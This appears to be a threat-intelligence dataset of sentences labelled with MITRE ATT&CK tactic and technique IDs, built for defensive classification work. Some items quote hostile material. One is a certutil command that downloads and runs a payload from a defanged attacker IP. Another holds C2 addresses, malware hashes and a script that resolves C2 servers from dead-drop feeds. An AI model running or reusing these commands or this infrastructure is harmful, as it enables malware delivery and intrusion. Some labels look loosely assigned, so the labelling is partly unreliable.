madox81/Adema_ATTACK_DS huggingface dataset:
Input: Zeus Panda checks for the existence of a Registry key and if it contains certain values.

Tactics: TA0007
Techniques: T1012
Input: This file issued a GET request to download a malicious file from: hxxp://94.23.172.164/dupdatechecker.doc

Tactics: TA0011
Techniques: T1105
Input: If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.

Tactics: TA0003
Techniques: T1137
Input: meek uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.

Tactics: TA0011
Techniques: T1090.004, T1090
Input: Emotet has used Powershell to retrieve the malicious payload and download additional resources like Mimikatz.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Adversaries may use search engines to collect information about victims that can be used during targeting.

Tactics: TA0043
Techniques: T1593, T1593.002
Input: PoisonIvy can inject a malicious DLL into a process.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior.

Tactics: TA0002
Techniques: T1203
Input: APT32 has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: GOLD SOUTHFIELD has executed base64 encoded PowerShell scripts on compromised hosts.

Tactics: TA0005
Techniques: T1027
Input: AppleJeus has presented the user with a UAC prompt to elevate privileges while installing.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Rocke's miner connects to a C2 server using port 51640.

Tactics: TA0011
Techniques: T1571
Input: P8RAT can send randomly-generated data as part of its C2 communication.

Tactics: TA0011
Techniques: T1001.001, T1001
Input: OilRig has used LinkedIn to send spearphishing links.

Tactics: TA0001
Techniques: T1566.003, T1566
Input: Empire can modify the registry run keys HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack.

Tactics: TA0001
Techniques: T1189
Input: Disable the WinRM service.

Tactics: TA0008
Techniques: T1021, T1021.006
Input: Use process monitoring to monitor the execution and arguments of mshta.exe.

Tactics: TA0005
Techniques: T1218.005, T1218
Input: Agent Tesla can encrypt data with 3DES before sending it over to a C2 server.

Tactics: TA0009
Techniques: T1560
Input: CARROTBAT has the ability to download a base64 encoded payload and execute obfuscated commands on the infected host.

Tactics: TA0005
Techniques: T1027
Input: NETWIRE can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe.

Tactics: TA0004, TA0005
Techniques: T1055
Input: Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP).

Tactics: TA0008
Techniques: T1021.001, T1021
Input: Proton uses macOS' .command file type to script actions.

Tactics: TA0002
Techniques: T1059.004, T1059
Input: InvisiMole can use fileless UAC bypass and create an elevated COM object to escalate privileges.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: ShimRat can use pre-configured HTTP proxies.

Tactics: TA0011
Techniques: T1090, T1090.002
Input: Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.

Tactics: TA0042
Techniques: T1587.002, T1588, T1587, T1588.003
Input: Empire can enumerate host system information like OS, architecture, applied patches, and more.

Tactics: TA0007
Techniques: T1082
Input: RTM can obtain information about process integrity levels.

Tactics: TA0007
Techniques: T1057
Input: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: BackdoorDiplomacy has obfuscated tools and malware it uses with VMProtect.

Tactics: TA0005
Techniques: T1027
Input: IronNetInjector can use IronPython scripts to load payloads with the help of a .NET injector.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Adversaries may check for Internet connectivity on compromised systems.

Tactics: TA0007
Techniques: T1016.001, T1016
Input: Adversaries may access data objects from improperly secured cloud storage.

Tactics: TA0009
Techniques: T1530
Input: Remsec can ping or traceroute a remote host.

Tactics: TA0007
Techniques: T1018
Input: EVILNUM has used a one-way communication method via GitLab and Digital Point to perform C2.

Tactics: TA0011
Techniques: T1102.003, T1102
Input: Kimsuky has hosted content used for targeting efforts via web services such as Blogspot.

Tactics: TA0042
Techniques: T1583.006, T1583
Input: The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):  upload.bat, a batch script that the compromised machine will execute upload.rar, a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe)  which the batch script will run and almost always uploads the results of download.rar to the cloud storage account silent.txt and period.txt,  small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC  The threat actor will then download the results and then delete the files from the cloud storage account

Tactics: TA0002, TA0011
Techniques: T1105, T1059
Input: Spark has run the whoami command and has a built-in command to identify the user logged in.

Tactics: TA0007
Techniques: T1033
Input: The net use \system\share /delete command can be used in Net to remove an established connection to a network share.

Tactics: TA0005
Techniques: T1070, T1070.005
Input: App stores can be useful resources to further investigate suspicious apps.Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access.

Tactics: TA0006
Techniques: T1528
Input: Adversaries may modify the kernel to automatically execute programs on system boot.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.006
Input: Correlation of activity by process lineage by process ID may be sufficient.

Tactics: TA0002
Techniques: T1106
Input: Recent versions of Cherry Picker delete files and registry keys created by the malware.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: APT28 has used newly-created Blogspot pages for credential harvesting operations.

Tactics: TA0042
Techniques: T1583.006, T1583
Input: Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.

Tactics: TA0009
Techniques: T1125
Input: Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Remcos can upload and download files to and from the victim’s machine.

Tactics: TA0011
Techniques: T1105
Input: The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang deleted them, and unfortunately couldn’t restore them after they were deleted

Tactics: TA0005
Techniques: T1070, T1070.004
Input: CrackMapExec can discover active sessions for a targeted system.

Tactics: TA0007
Techniques: T1049
Input: Monitor for changes made to files that are modified by unusual accounts outside of normal administration duties.

Tactics: TA0003, TA0004
Techniques: T1037
Input: Nebulae has the ability to delete files and directories.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Valak can use the clientgrabber module to steal e-mail credentials from the Registry.

Tactics: TA0006
Techniques: T1552, T1552.002
Input: Shared templates may also be stored and pulled from remote locations.

Tactics: TA0003
Techniques: T1137, T1137.001
Input: Valak has used regsvr32.exe to launch malicious DLLs.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: Crimson has the ability to execute commands with the COMSPEC environment variable.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Revenge RAT has a plugin for microphone interception.

Tactics: TA0009
Techniques: T1123
Input: By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them.

Tactics: TA0042
Techniques: T1583.003, T1583
Input: APT32 has collected the OS version and computer name from victims.

Tactics: TA0007
Techniques: T1082
Input: Obfuscation Mechanism for the JScript Code The malicious JScript code obfuscation relies on two main techniques

Tactics: TA0005
Techniques: T1140, T1027
Input: FELIXROOT checks for installed security software like antivirus and firewall.

Tactics: TA0007
Techniques: T1518.001, T1518
Input: Gorgon Group has used -W Hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Sandworm Team has exploited vulnerabilities in Microsoft PowerPoint via OLE objects (CVE-2014-4114) and Microsoft Word via crafted TIFF images (CVE-2013-3906).

Tactics: TA0002
Techniques: T1203
Input: Machete can find, encrypt, and upload files from fixed and removable drives.

Tactics: TA0009
Techniques: T1025
Input: NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.

Tactics: TA0008
Techniques: T1563, T1563.001
Input: Sys10 collects the group name of the logged-in user and sends it to the C2.

Tactics: TA0007
Techniques: T1069.001, T1069
Input: The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system.

Tactics: TA0005
Techniques: T1601, T1601.001
Input: In 2017, Sandworm Team conducted technical research related to vulnerabilities associated with websites used by the Korean Sport and Olympic Committee, a Korean power company, and a Korean airport.

Tactics: TA0042
Techniques: T1588.006, T1588
Input: Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes

Tactics: TA0005
Techniques: T1027.002, T1027
Input: Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.

Tactics: TA0003, TA0004
Techniques: T1543.004, T1543
Input: Winnti Group used stolen certificates to sign its malware.

Tactics: TA0005
Techniques: T1553, T1553.002
Input: TeamTNT has queried the AWS instance metadata service for credentials.

Tactics: TA0006
Techniques: T1552, T1552.005
Input: Solution providers typically offer security guides to help end users configure systems.

Tactics: TA0009
Techniques: T1530
Input: This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.

Tactics: TA0005
Techniques: T1601, T1601.001
Input: MirageFox has the capability to execute commands using cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: TA505 has downloaded additional malware to execute on victim systems.

Tactics: TA0011
Techniques: T1105
Input: The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127

Tactics: TA0005, TA0011
Techniques: T1036, T1105
Input: Sidewinder has collected stolen files in a temporary folder in preparation for exfiltration.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Deep Panda has used regsvr32.exe to execute a server variant of Derusbi in victim networks.

Tactics: TA0005
Techniques: T1218, T1218.010
Input: There exist user and global Registry keys for the Office Test feature:

Tactics: TA0003
Techniques: T1137.002, T1137
Input: InvisiMole uses WinRAR to compress data that is intended to be exfiltrated.

Tactics: TA0009
Techniques: T1560.001, T1560
Input: LookBack side loads its communications module as a DLL into the libcurl.dll loader.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: Misdat saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: Threat Group-3390 has exploited CVE-2018-0798 in Equation Editor.

Tactics: TA0002
Techniques: T1203
Input: SILENTTRINITY can use System.Security.AccessControl namespaces to retrieve domain user information.

Tactics: TA0007
Techniques: T1087.002, T1087
Input: The malicious script is executed upon the next user login.

Tactics: TA0003, TA0004
Techniques: T1037.002, T1037
Input: This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy ( if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Tactics: TA0007
Techniques: T1201
Input: Once malicious home pages have been added to the user’s mailbox, they will be loaded when Outlook is started.

Tactics: TA0003
Techniques: T1137, T1137.004
Input: Some strings are obfuscated with XOR x56

Tactics: TA0005
Techniques: T1027
Input: ObliqueRAT has the ability to recursively enumerate files on an infected endpoint.

Tactics: TA0007
Techniques: T1083
Input: Indicators of Compromise Malicious Word Document SHA256 Hashes a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4 b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571 d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2   BADNEWS SHA256 Hashes ab4f86a3144642346a3a40e500ace71badc06a962758522ca13801b40e9e7f4a 290ac98de80154705794e96d0c6d657c948b7dff7abf25ea817585e4c923adb2   C2 Servers 185.203.118[.]115 94.156.35[.]204   Dead Drop Resolvers hxxp://feed43[.]com/8166706728852850.xml hxxp://feed43[.]com/3210021137734622.xml hxxp://www.webrss[.]com/createfeed.php?feedid=49966 hxxp://feeds.rapidfeeds[.]com/88604/   Script to Decrypt Dead Drop Resolversimport requests import base64 import binascii import re from Crypto.Cipher import Blowfish from struct import pack   rol = lambda val, r_bits, max_bits: (val << r_bits%max_bits) & (2**max_bits-1) | ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))  ror = lambda val, r_bits, max_bits: ((val & (2**max_bits-1)) >> r_bits%max_bits) | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))   def unhexData(d):   if len(d) % 2:     d = d.zfill(len(d)+1)   return ord(binascii.unhexlify(d))   def decodeDecrypt(data):   decdata = ''   for x in range(len(data)):     x = x*2     if x < len(data):       c = unhexData(data[x])       add_num = unhexData(data[x+1])       c = c << 4       c = (c + add_num) & 0xff       c ^= 0x23       c = rol(c, 3, 8)       decdata += chr(c)   data2 = base64.b64decode(decdata)   key = binascii.unhexlify("F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677")   cipher = Blowfish.new(key, Blowfish.MODE_ECB)   dec = cipher.decrypt(data2)   return dec   urls = [   "http://feeds.rapidfeeds.com/88604" ]  for d in urls:   r = requests.get(d)   body = r.text   r = re.search("\[+\s*([a-zA-Z0-9\=]+)\]+", body)   if r:     data = base64.b64decode(r.group(0))     print("[{}] Decrypted C2: {}".format(d, decodeDecrypt(data).split("\x00")[0]))  The post Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent appeared first on Palo Alto Networks Blog

Tactics: TA0009, TA0011, TA0010
Techniques: T1132, T1048, T1560
Input: Malicious Document   Decoy Document  The attack starts with a spear-phishing email containing the HWP document named "미북 정상회담 전망 및 대비.hwp" (Prospects for US-North Korea Summit .hwp)

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Fox Kitten has used tools including NMAP to conduct broad scanning to identify open ports.

Tactics: TA0007
Techniques: T1046
Input: Threat Group-3390 has compromised third party service providers to gain access to victim's environments.

Tactics: TA0001
Techniques: T1199
Input: Derusbi is capable of performing audio captures.

Tactics: TA0009
Techniques: T1123
Input: Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link.

Tactics: TA0042
Techniques: T1608.005, T1608
Input: There can be only one login and logout hook on a system at a time.

Tactics: TA0003, TA0004
Techniques: T1037.002, T1037
Input: S-Type may create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.

Tactics: TA0003, TA0004
Techniques: T1547.009, T1547
Input: Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used.

Tactics: TA0007
Techniques: T1046, T1526
Input: Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.006
Input: EvilBunny has deleted the initial dropper after running through the environment checks.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Sandworm Team defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.

Tactics: TA0040
Techniques: T1491.002, T1491
Input: Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.

Tactics: TA0005
Techniques: T1562.009, T1562
Input: Adversaries may gather this information in various ways, such as querying or otherwise collecting details via DNS/Passive DNS.

Tactics: TA0043
Techniques: T1590.002, T1590
Input: APT37 obfuscates strings and payloads.

Tactics: TA0005
Techniques: T1027
Input: Consider enabling the "Network access: Do not allow storage of passwords and credentials for network authentication" setting that will prevent network credentials from being stored by the Credential Manager.

Tactics: TA0006
Techniques: T1555, T1555.004
Input: After the payload is launched, the shellcode runs the following commands to prevent Microsoft Word from showing a recovery dialog:   Lastly, the shellcode overwrites the malicious file with a decoy document related to the Indian defense forces’ pay scale / matrix (Figure 3), displays it to the user and terminates the exploited instance of Microsoft Word

Tactics: TA0005
Techniques: T1027
Input: For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user ( Pass the Hash) while also using the password hash to create a valid Kerberos ticket.

Tactics: TA0005, TA0008
Techniques: T1550.003, T1550
Input: RawDisk has been used to directly access the hard disk to help overwrite arbitrarily sized portions of disk content.

Tactics: TA0040
Techniques: T1561.001, T1561
Input: Cadelspy has the ability to record audio from the compromised host.

Tactics: TA0009
Techniques: T1123
Input: The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: PlugX has a module to list the processes running on a machine.

Tactics: TA0007
Techniques: T1057
Input: Other functionalities provided by this section of the PowerShell Script are as follows:  Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username    All of this data is concatenated and formatted as shown in Figure 13:    Figure 13: Concatenated and formatted data retrieved by PowerShell script  Register the victim’s machine to the C2 server by sending the REGISTER command to the server

Tactics: TA0007
Techniques: T1082
Input: OilRig has run hostname and systeminfo on a victim.

Tactics: TA0007
Techniques: T1082
Input: Dragonfly has created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.

Tactics: TA0003
Techniques: T1136, T1136.001
Input: Monitor for third-party application logging, messaging, and/or other artifacts that may leverage the SharePoint repository as a source to mine valuable information.

Tactics: TA0009
Techniques: T1213, T1213.002
Input: FIN7 has exfiltrated stolen data to the MEGA file sharing site.

Tactics: TA0010
Techniques: T1567.002, T1567
Input: Ebury has encoded C2 traffic in hexadecimal format.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: InvisiMole has deleted files and directories including XML and files successfully uploaded to C2 servers.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: These rules may be created through a local email application, a web interface, or by command-line interface.

Tactics: TA0009
Techniques: T1114, T1114.003
Input: Turla RPC backdoors have also retrieved registered RPC interface information from process memory.

Tactics: TA0007
Techniques: T1016
Input: CrackMapExec can discover specified filetypes and log files on a targeted system.

Tactics: TA0007
Techniques: T1083
Input: Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.011
Input: POWERSTATS can use WMI queries to retrieve data from compromised hosts.

Tactics: TA0002
Techniques: T1047
Input: zwShell can obtain the name of the logged-in user on the victim.

Tactics: TA0007
Techniques: T1033
Input: Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001, T1497.002, T1497.003
Input: Lizar can support encrypted communications between the client and server.

Tactics: TA0011
Techniques: T1573
Input: NETWIRE can discover and collect victim system information.

Tactics: TA0007
Techniques: T1082
Input: S-Type runs the command net start on a victim.

Tactics: TA0007
Techniques: T1007
Input: GALLIUM used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.

Tactics: TA0002
Techniques: T1047
Input: PowerPunch can use Base64-encoded scripts.

Tactics: TA0005
Techniques: T1027
Input: SpeakUp uses the arp -a command.

Tactics: TA0007
Techniques: T1049